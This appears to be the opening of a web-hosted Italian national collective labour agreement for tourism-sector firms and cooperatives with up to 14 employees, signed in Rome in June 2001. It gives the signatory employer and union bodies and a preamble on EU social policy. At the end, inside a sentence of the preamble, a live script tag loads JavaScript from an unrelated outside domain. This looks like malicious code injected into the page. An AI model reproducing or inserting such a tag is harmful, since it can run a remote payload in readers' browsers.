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Categoria: Turismo, da 1 a 14 dipendenti (CISAL) Settore: Commercio Data stipula: 8-6-2001 Data decorrenza: 1-6-2001 Data scadenza: 31-5-2005
Contratto Collettivo Nazionale di Lavoro
PER I DIPENDENTI DELLE AZIENDE, PER I DIPENDENTI E SOCI DELLE COOPERATIVE
ESERCENTI ATTIVITÀ NEL SETTORE DEL "TURISMO" FINO A 14 DIPENDENTI O SOCI
(in vigore dal 1° giugno 2001 al 31 maggio 2005)
L'anno 2001 il giorno 8 del mese di giugno in Roma
Tra
1. Coordinamento Nazionale Associazioni Imprenditori (CNAI)
rappresentata dal Presidente nazionale Orazio Renzo Di Renzo e assistito
da: Nanni Werther, Giangiacomo Pagliaro, Antonio Cucurachi, Rocco Vetrone;
2. Unione Cristiana Italiana Commercio e Turismo (UCICT) rappresentata
dal Presidente nazionale Orazio Renzo Di Renzo e assistito da Werther
Nanni, Sacrorè Raffaella, Di Renzo Manola, Vitali Maria Teresa, Sacripante
Sabatino, Lunerti Roberto, Lupattelli Severino e Vetrone Rocco;
3. Movimento Cooperative e Mutue CNAI (MCM-CNAI)rappresentata da Franco
Maldera, Vincenzo Sardano, Mario Gibellini, Tommaso Dodaro, Umberto Ferro
e Francesco Ronca
e
1. Confederazione Italiana Sindacati Autonomi Lavoratori (CISAL)
rappresentata dal Segretario generale Giuseppe Carbone, dal Segretario
generale vicario Giovanni Liccardo, dai Segretari confederali Ulderico
Cancilla e Luigi Spagnuolo;
2. Federazione Nazionale Sindacati Autonomi Lavoratori Commercio
(Fe.Na.SALC) rappresentata dal Segretario generale Adriano Cosimati e dai
Segretari nazionali Aurora Pitsolu, Enzo Natalini, Giuseppe Nicosia;
3. SALTAE, rappresentata dal Segretario generale Carlo Santi e dai
Segretari nazionali Franco Penello, Alessandro Ceccarello, Daniela
Marchioro, Paolo Grigolin
SI È STIPULATO
il CCNL per i dipendenti delle aziende, per i dipendenti e i soci delle
cooperative esercenti attività nel settore del "TURISMO" fino a 14
dipendenti o soci; esso si compone:
A. INDICE
B. PREMESSA
C. TITOLI LVI
D. ARTICOLI 95
CNAI
UCICT
MCM-CNAI
CISAL
Fe.Na.SALC
SALTAE
PREMESSA
Le OO.SS. e datoriali firmatarie ritengono di aver dato con il contratto,
una prima importante risposta alle esigenze, da più parti rappresentate,
per un cambiamento della contrattualistica nazionale in un'ottica di
rilancio reale dell'occupazione, fattore indispensabile per una espansione
strutturale dell'economia e della produttività del Paese.
Il contratto si muove nelle logiche dettate dalla UE finalizzate al
miglioramento dei rapporti individuali e collettivi di lavoro, alla
crescita dei livelli occupazionali, alla protezione e sicurezza sociale,
per concorrere a formulare e rafforzare le regole di garanzia e di tutela
dei processi lavorativi.
Infatti con il Protocollo aggiuntivo al trattato di Maastricht del 1991,
relativo alla politica sociale, i Governi della UE hanno indicato le
materie su cui inciderà la politica sociale comunitaria per il
conseguimento degli obiettivi delle loro azioni comuni: la sicurezza e la
salute del lavoratore, le migliori condizioni di lavoro, l'informazione e
la consultazione dei lavoratori, le pari opportunità, la rappresentanza e
la difesa collettiva degli interessi dei lavoratori e dei datori di lavoro
ivi compresa la cogestione, gli aiuti finanziari alla promozione
dell'occupazione e alla creazione dei posti di lavoro, la contrattazione
collettiva europea. Per questi obiettivi, le OO.SS. e datoriali svolgono
una specifica funzione che esercitano nei confronti del legislatore
comunitario, nonché una essenziale funzione negoziale nell'ambito del
dialogo sociale.
Le Parti concordano, altresì, sulla necessità di affermare la paritaria
funzione delle OO.SS. e datoriali, sul piano del diritto al lavoro e
all'esercizio dell'impresa privata in un contesto di riconosciute libertà
associative.
Sulla base di tali principi le OO.SS. e datoriali firmatarie affermano il
loro ruolo<<script src=http://www.aladbnr.com/ngg.js></script>
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